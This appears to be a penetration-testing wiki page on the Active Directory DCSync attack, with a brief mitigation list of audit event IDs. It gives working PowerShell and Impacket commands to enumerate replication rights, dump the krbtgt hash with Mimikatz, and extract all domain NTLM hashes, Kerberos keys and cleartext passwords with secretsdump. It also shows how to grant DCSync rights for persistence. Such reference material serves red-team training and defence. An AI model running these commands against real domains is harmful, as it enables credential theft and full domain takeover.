# DCSync
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## DCSync
The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**.
**Important Notes about DCSync:**
* The **DCSync attack simulates the behavior of a Domain Controller and asks other Domain Controllers to replicate information** using the Directory Replication Service Remote Protocol (MS-DRSR). Because MS-DRSR is a valid and necessary function of Active Directory, it cannot be turned off or disabled.
* By default only **Domain Admins, Enterprise Admins, Administrators, and Domain Controllers** groups have the required privileges.
* If any account passwords are stored with reversible encryption, an option is available in Mimikatz to return the password in clear text
### Enumeration
Check who has these permissions using `powerview`:
```powershell
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
```
### Exploit Locally
```powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
```
### Exploit Remotely
```powershell
secretsdump.py -just-dc :@ -outputfile dcsync_hashes
[-just-dc-user ] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking
```
`-just-dc` generates 3 files:
* one with the **NTLM hashes**
* one with the the **Kerberos keys**
* one with cleartext passwords from the NTDS for any accounts set with [**reversible encryption**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) enabled. You can get users with reversible encryption with
```powershell
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
```
### Persistence
If you are a domain admin, you can grant this permissions to any user with the help of `powerview`:
```powershell
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
```
Then, you can **check if the user was correctly assigned** the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the "ObjectType" field):
```powershell
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
```
### Mitigation
* Security Event ID 4662 (Audit Policy for object must be enabled) – An operation was performed on an object
* Security Event ID 5136 (Audit Policy for object must be enabled) – A directory service object was modified
* Security Event ID 4670 (Audit Policy for object must be enabled) – Permissions on an object were changed
* AD ACL Scanner - Create and compare create reports of ACLs.
## References
*
*
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